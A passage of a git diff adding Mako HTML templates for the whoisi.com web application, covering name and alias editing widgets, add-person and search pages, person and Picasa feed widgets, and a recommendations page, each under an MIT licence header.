+Please enter a new alias for this person:
+<br/>
+<input type="hidden" name="person" value="${person | h}" />
+<input type="text" name="newname" size="30" value="${newname or '' | h}" /><br/><br/>
+<input type="button" name="name-add-button" value="Add"/>
+<input type="button" name="name-add-cancel" value="Cancel"/>
+</div>
+</div>
+
+</%def>
+
+${name_add_widget(person=person, newname=newname, error_text=error_text)}
+
diff --git a/whoisi/templates/name-remove-widget.mak b/whoisi/templates/name-remove-widget.mak
new file mode 100644 (file)
index 0000000..1903844
--- /dev/null
@@ -0,0 +1,42 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="name_remove_widget(person, nameid, error_text)">
+<div class="link-collection-item">
+<div class="person-edit-wrapper">
+%if error_text:
+<div class="error">${error_text}<br/><br/></div>
+%endif
+<div class="recaptcha">Loading Captcha...</div><br/>
+Please prove you're human to remove this name.
+<br/><br/>
+<input type="hidden" name="person" value="${person | h}" />
+<input type="hidden" name="name" value="${nameid | h}" />
+<input type="button" name="name-remove-button" value="Remove"/>
+<input type="button" name="name-remove-cancel" value="Cancel"/>
+</div>
+</div>
+</%def>
+
+${name_remove_widget(person=person, nameid=nameid, error_text=error_text)}
diff --git a/whoisi/templates/name-update-widget.mak b/whoisi/templates/name-update-widget.mak
new file mode 100644 (file)
index 0000000..4fc9df6
--- /dev/null
@@ -0,0 +1,42 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="name_update_widget(person, newname, error_text)">
+<div class="link-collection-item">
+<div class="person-edit-wrapper">
+%if error_text:
+  <div class="error">${error_text}<br/><br/></div>
+%endif
+<div class="recaptcha">Loading Captcha...</div><br/>
+Please enter a new name for this person:
+<br/>
+<input type="hidden" name="person" value="${person | h}" />
+<input type="text" name="newname" size="30" value="${newname or '' | h}" /><br/><br/>
+<input type="button" name="name-update-button" value="Update"/>
+<input type="button" name="name-update-cancel" value="Cancel"/>
+</div>
+</div>
+</%def>
+
+${name_update_widget(person=person, newname=newname, error_text=error_text)}
diff --git a/whoisi/templates/nofollow.mak b/whoisi/templates/nofollow.mak
new file mode 100644 (file)
index 0000000..fe8ac3c
--- /dev/null
@@ -0,0 +1,63 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="get_page_title()">whoisi.com: Hey, you're not following anyone!</%def>
+<%def name="get_extra_js()">
+<script type="text/javascript">
+$(document).ready(function() {
+    if (document.forms.length > 0) {
+        document.forms[0].elements[0].focus();
+    }
+})
+</script>
+</%def>
+
+<%namespace file="search-widget.mak" import="search_widget"/>
+
+<%inherit file="master.mak"/>
+
+${search_widget(search=search)}
+
+<h2>Hey, you're not following anyone!</h2>
+
+<div style="width: 60%">
+
+When you want to follow someone, just click the "<b>Follow Person</b>" link
+next to their name.  <b>No account creation required.</b>
+
+</div>
+
+<br/>
+
+<div style="width: 60%">
+
+Try searching for someone first using the search box above.  If that
+fails, you can always <a href="/addform">add someone directly</a>,
+browse what <a href="/everyone">everyone is doing</a>, check out
+what's happening at an <a href="/events">event</a> or look at
+a <a href="/random">random person</a>.
+
+</div>
+
+
diff --git a/whoisi/templates/person-add-confirm.mak b/whoisi/templates/person-add-confirm.mak
new file mode 100644 (file)
index 0000000..95403c9
--- /dev/null
@@ -0,0 +1,35 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<div>
+Does the site listed below look OK?
+<br/>
+<br/>
+<input type="button" id="add-confirm" name="add-confirm" value="Add Person"/>
+<input type="button" id="add-cancel" name="add-cancel" value="Cancel"/>
+<br/>
+<br/>
+<hr/>
+<br/>
+</div>
diff --git a/whoisi/templates/person-add-pick-widget.mak b/whoisi/templates/person-add-pick-widget.mak
new file mode 100644 (file)
index 0000000..3450bf3
--- /dev/null
@@ -0,0 +1,39 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<div class="link-collection-item">
+
+<div class="url-pick">
+This site has more than one feed associated with it.  Please pick one
+of the feeds below to preview it.
+</div>
+
+%for i in range(0, len(feeds)):
+<div class="url-pick">
+<a href="#" class="site-add-pick" newsite-id="${new_site}" feed-id="${i}">${feeds[i][2] | h}</a>
+</div>
+%endfor
+
+</div>
+
diff --git a/whoisi/templates/person-add.mak b/whoisi/templates/person-add.mak
new file mode 100644 (file)
index 0000000..3fd0644
--- /dev/null
@@ -0,0 +1,89 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="get_page_title()">whoisi.com: Add a new person.</%def>
+<%def name="get_extra_js()">
+<script src="http://api.recaptcha.net/js/recaptcha_ajax.js" type="text/javascript"></script>
+<script src="/static/javascript/keys.js" type="text/javascript"></script>
+<script src="/static/javascript/addform.js" type="text/javascript"></script>
+</%def>
+
+<%namespace file="search-widget.mak" import="search_widget"/>
+
+<%inherit file="master.mak"/>
+
+${search_widget(search=search)}
+
+<h1>Add a new person to whoisi.com.</h1>
+
+<div style="width: 60%">
+
+If you know this person's <a href="http://www.flickr.com">flickr</a>
+account, <a href="http://wordpress.org">weblog</a>, <a
+href="http://www.twitter.com">twitter</a> account, <a
+href="http://www.blogger.com">blogger site</a> enter the URL and we'll
+start keeping track of it for everyone who looks for them later -
+including you!<br/><br/>
+
+</div>
+
+<div class="add-form-wrapper">
+
+<div>
+<b>Name</b>
+</div>
+
+<div>
+<input size="45" type="text" id="name" value="${name or '' | h}"/>
+</div>
+
+<br/>
+
+<div>
+<b>URL</b>
+</div>
+
+<div>
+<input size="45" type="text" id="url" value="${url or '' | h}"/>
+</div>
+
+<br/>
+
+<div id="recaptcha">
+Loading Captcha...
+</div>
+
+<br/>
+
+<div>
+<input type="submit" id="addstart" value="Add Person"/>
+</div>
+
+</div>
+
+<br/>
+
+<div id="add-result" class="add-result-wrapper" style="display: none">
+</div>
+
diff --git a/whoisi/templates/person-widget.mak b/whoisi/templates/person-widget.mak
new file mode 100644 (file)
index 0000000..64540e3
--- /dev/null
@@ -0,0 +1,107 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%namespace file="twitter-widget.mak" import="twitter_widget"/>
+<%namespace file="identica-widget.mak" import="identica_widget"/>
+<%namespace file="weblog-widget.mak" import="weblog_widget"/>
+<%namespace file="flickr-widget.mak" import="flickr_widget"/>
+<%namespace file="picasa-widget.mak" import="picasa_widget"/>
+<%namespace file="linkedin-widget.mak" import="linkedin_widget"/>
+<%namespace file="delicious-widget.mak" import="delicious_widget"/>
+<%namespace file="aliases-widget.mak" import="aliases_widget"/>
+<%namespace file="site-add-status-widget.mak" import="site_add_status_widget"/>
+<%namespace file="site-add-pick-widget.mak" import="site_add_pick_widget"/>
+
+<%!
+from whoisi.utils.sites import reorder_sites
+from whoisi.utils.follow import is_following_person
+import simplejson
+%>
+
+<%def name="person_widget(person, other_names, sites, new_sites, site_history, display)">
+<div class="result-block">
+
+<div class="link-result">
+<a class="link-result-header" href="/p/${person.id}" name="primary-name">${person.name | h}</a>
+&nbsp;&nbsp;-
+%if display == "edit":
+  <span class="link-action">
+  &nbsp;&nbsp;<a class="primary-name-edit" person-id="${person.id}" href="">Change Name</a>
+  &nbsp;&nbsp;<a class="name-add" person-id="${person.id}" href="">Add an Alias</a>
+  &nbsp;&nbsp;<a class="site-add" id="site-add-${person.id}" person-id="${person.id}" href="#">Add Another Site</a>
+  &nbsp;&nbsp;<a href="/p/${person.id}">Done Editing</a>
+  </span>
+%else:
+  <span class="link-action">
+  %if is_following_person(person.id):
+    &nbsp;&nbsp;<a class="person-unfollow" person-id="${person.id}" href="#">Stop Following</a>
+  %else:
+    &nbsp;&nbsp;<a class="person-follow" person-id="${person.id}" href="#">Follow Person</a>
+  %endif
+  &nbsp;&nbsp;<a class="site-add" id="site-add-${person.id}" person-id="${person.id}" href="#">Add Another Site</a>
+  &nbsp;&nbsp;<a href="/p/${person.id}?mode=edit">Edit</a>
+  </span>
+%endif
+
+${aliases_widget(person=person, other_names=other_names, display=display)}
+
+</div> <!-- link-result -->
+
+<div class="link-collection">
+
+%if display == "full":
+  %for site in new_sites:
+    %if site.status == "pick_url":
+      ${site_add_pick_widget(new_site=site.id, feeds=simplejson.loads(site.data))}
+    %else:
+      ${site_add_status_widget(new_site=site.id)}
+    %endif
+  %endfor
+%endif
+
+%for site in reorder_sites(sites):
+  %if site.type == "twitter":
+    ${twitter_widget(site=site, site_history=site_history[site.id], display=display)}
+  %elif site.type == "identica":
+    ${identica_widget(site=site, site_history=site_history[site.id], display=display)}
+  %elif site.type == "feed":
+    ${weblog_widget(site=site, site_history=site_history[site.id], display=display)}
+  %elif site.type == "flickr":
+    ${flickr_widget(site=site, site_history=site_history[site.id], display=display)}
+  %elif site.type == "delicious":
+    ${delicious_widget(site=site, site_history=site_history[site.id], display=display)}
+  %elif site.type == "linkedin":
+    ${linkedin_widget(site=site, display=display)}
+  %elif site.type == "picasa":
+    ${picasa_widget(site=site, site_history=site_history[site.id], display=display)}
+  %endif
+%endfor
+
+</div> <!-- link-collection -->
+
+</div> <!-- result-block -->
+
+</%def>
+
+${person_widget(person=person, other_names=other_names, sites=sites, new_sites=new_sites, site_history=site_history, display=display)}
diff --git a/whoisi/templates/person.mak b/whoisi/templates/person.mak
new file mode 100644 (file)
index 0000000..6247786
--- /dev/null
@@ -0,0 +1,43 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="get_page_title()">whoisi.com: ${person.name | h}</%def>
+<%def name="get_extra_js()">
+<script src="http://api.recaptcha.net/js/recaptcha_ajax.js" type="text/javascript"></script>
+<script src="/static/javascript/keys.js" type="text/javascript"></script>
+<script src="/static/javascript/person.js" type="text/javascript"></script>
+<script src="/static/javascript/follow.js" type="text/javascript"></script>
+</%def>
+
+<%namespace file="search-widget.mak" import="search_widget"/>
+<%namespace file="person-widget.mak" import="person_widget"/>
+
+<%inherit file="master.mak"/>
+
+${search_widget(search=search)}
+
+<br/>
+
+${person_widget(person=person, other_names=other_names, sites=sites, new_sites=new_sites, site_history=site_history, display=display)}
+
diff --git a/whoisi/templates/picasa-widget.mak b/whoisi/templates/picasa-widget.mak
new file mode 100644 (file)
index 0000000..62e3460
--- /dev/null
@@ -0,0 +1,80 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%!
+from whoisi.utils.follow import is_following_person
+from whoisi.utils.picasa import picasa_get_summary
+from whoisi.utils.display import short_link_ref
+%>
+
+<%def name="picasa_widget(site, site_history, display)">
+<%
+_untitled = "<i>Untitled</i>"
+
+entries_list = site_history
+count = len(site_history)
+needs_refresh = False
+%>
+
+<div class="link-collection-item" site-id="${site.id}" needs-refresh="${needs_refresh}">
+<img src="/static/images/sites/picasa-favicon.png"/>
+%if display == "time" or display == "follow":
+<a href="/p/${site.personID}">${site.person.name | h}</a>:
+%endif
+<a href="${site.url}">Picasa photos</a>
+
+<span class="link-action">
+%if display == "edit":
+&nbsp;&nbsp;<a site-id="${site.id}" class="site-remove" href="">Remove</a>
+%endif
+%if display == "time":
+  %if is_following_person(site.personID):
+  &nbsp;&nbsp;<a class="person-unfollow" person-id="${site.personID}" href="#">Stop Following</a>
+  %else:
+  &nbsp;&nbsp;<a class="person-follow" person-id="${site.personID}" href="#">Follow Person</a>
+  %endif
+%endif
+</span>
+
+<div class="link-collection">
+%for i in range(0, count):
+%if display != "preview":
+  <a target="_blank" href="${short_link_ref(entries_list[i].id)}">
+  <img width="64" height="64" src="${entries_list[i].display_cache}" title="${picasa_get_summary(entries_list[i]) | h}"/>
+  </a>
+%else:
+  <a target="_blank" href="${entries_list[i].link}">
+  <img width="64" height="64" src="${entries_list[i].display_cache}" title="${picasa_get_summary(entries_list[i]) | h}"/>
+  </a>
+%endif
+%if int(i+1) % 6 == 0:
+<br/>
+%endif
+%endfor
+</div>
+
+</div>
+</%def>
+
+${picasa_widget(site=site, site_history=site_history, display=display)}
diff --git a/whoisi/templates/recommendations.mak b/whoisi/templates/recommendations.mak
new file mode 100644 (file)
index 0000000..4feb2dd
--- /dev/null
@@ -0,0 +1,122 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+## Copyright (c) 2008 Joe Shaw <joe@joeshaw.org>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%!
+import whoisi.utils.follow as follow
+%>
+
+<%def name="get_page_title()">whoisi.com: People you may be interested in.</%def>
+<%def name="get_extra_js()">
+<script src="/static/javascript/keys.js" type="text/javascript"></script>
+<script src="/static/javascript/person.js" type="text/javascript"></script>
+<script src="/static/javascript/follow.js" type="text/javascript"></script>
+</%def>
+
+<%namespace file="person-widget.mak" import="person_widget"/>
+<%namespace file="search-widget.mak" import="search_widget"/>
+
+<%inherit file="master.mak"/>
+
+${search_widget(search=search)}
+
+%if len(people) == 0 or follow.is_following_anyone() == 0:
+
+<h2>Personalized recommendations</h2>
+
+<hr style="width:40%" align="left" />
+
+<div style="width: 60%">
+
+<p>
+
+You can only get personalized recommendations if you're following a
+few people.  The more people you follow the better the recommendations
+will be.
+
+</p>
+
+<p>
+
+When you want to follow someone, just click the "<b>Follow Person</b>"
+link next to their name.  No account creation required.
+
+</p>
+
+%if follow.is_following_anyone() == 0:
+
+<p>
+
+<b>Once you've followed a few people</b> <a
+href="/recommendations">this page</a> will contain a big fat "Generate
+Recommendations" button.
+
+</p>
+
+<p>
+
+Come back once you've found someone to follow!
+
+</p>
+
+%else:
+
+<p>
+<form action="/genrecommendations">
+<input type="submit" value="Generate Recommendations"/>
+</form>
+</p>
+
+%endif
+
+</div>
+
+%else:
+
+<div class="result-block">
+<div class="search-results-info">
+<br/>
+<b class="search-result-header">Personalized Recommendations</b>&nbsp;&nbsp;<span class="search-result-summary">Showing ${start+1}-${end} of ${total_results}</span>&nbsp;&nbsp;<input type="button" value="Generate Recommendations" onClick="window.location='/genrecommendations'; return false;"/><br/>
+</div>
+</div>
+
+%for p in people:
+  <div class="result-block">
+   ${person_widget(person=p, other_names=other_names[p.id], sites=sites[p.id], new_sites=None, site_history=site_history, display="search")}
+  </div>
+%endfor
+
+%if not (cur_page == 0 and last_page):
+  <div>
+  %if cur_page != 0:
+    <a href="/recommendations?page=${cur_page-1}">&lt;-- Previous</a>&nbsp;&nbsp;
+  %endif
+  %if not last_page:
+    <a href="/recommendations?page=${cur_page+1}">Next --&gt;</a>
+  %endif
+  </div>
+%endif
+
+
+%endif
diff --git a/whoisi/templates/search-widget.mak b/whoisi/templates/search-widget.mak
new file mode 100644 (file)
index 0000000..cecf705
--- /dev/null
@@ -0,0 +1,33 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="search_widget(search)">
+<form method="GET" action="/search" name="f">
+<a href="/"><img class="logo-header" src="/static/images/whoisi-100.png"/></a>&nbsp;
+<input type="text" name="search" size="30" value="${search or u'' | h}"/>
+<input type="submit" value="What Are Your Friends Doing?"/>
+</form>
+</%def>
+
+${search_widget(search=search)}
diff --git a/whoisi/templates/search.mak b/whoisi/templates/search.mak
new file mode 100644 (file)
index 0000000..74075ca
--- /dev/null
@@ -0,0 +1,92 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="get_page_title()">whoisi.com: Search results for ${pretty_search | h}</%def>
+<%def name="get_extra_js()">
+<script src="http://api.recaptcha.net/js/recaptcha_ajax.js" type="text/javascript"></script>
+<script src="/static/javascript/keys.js" type="text/javascript"></script>
+<script src="/static/javascript/person.js" type="text/javascript"></script>
+<script src="/static/javascript/follow.js" type="text/javascript"></script>
+</%def>
+
+<%namespace file="search-widget.mak" import="search_widget"/>
+<%namespace file="person-widget.mak" import="person_widget"/>
+
+<%inherit file="master.mak"/>
+
+<%!
+import re
+%>
+
+${search_widget(search=search)}
+
+## If there are not results just show the add form and return early
+%if len(people) == 0:
+  <div>
+  <h2>Nothing Found.  Sorry.</h2>
+  </div>
+
+  <h2>Do you know ${pretty_search | h}?</h2>
+
+  <div style="width: 60%">
+  If you know ${pretty_search | h}'s home page, <a
+  href="http://www.flickr.com">flickr</a> account, <a
+  href="http://wordpress.org">weblog</a>, <a
+  href="http://twitter.com">twitter</a> account, <a
+  href="http://www.blogger.com">blogger site</a> enter the URL and
+  we'll start keeping track of it for everyone who looks for them
+  later - including you!
+  </div>
+
+  <h2><a href="/addform?name=${pretty_search | h}">Add ${pretty_search | h} and start following them</a>.</h2>
+
+  <% return u'' %>
+%endif
+
+<div class="result-block">
+<div class="search-results-info">
+<br/>
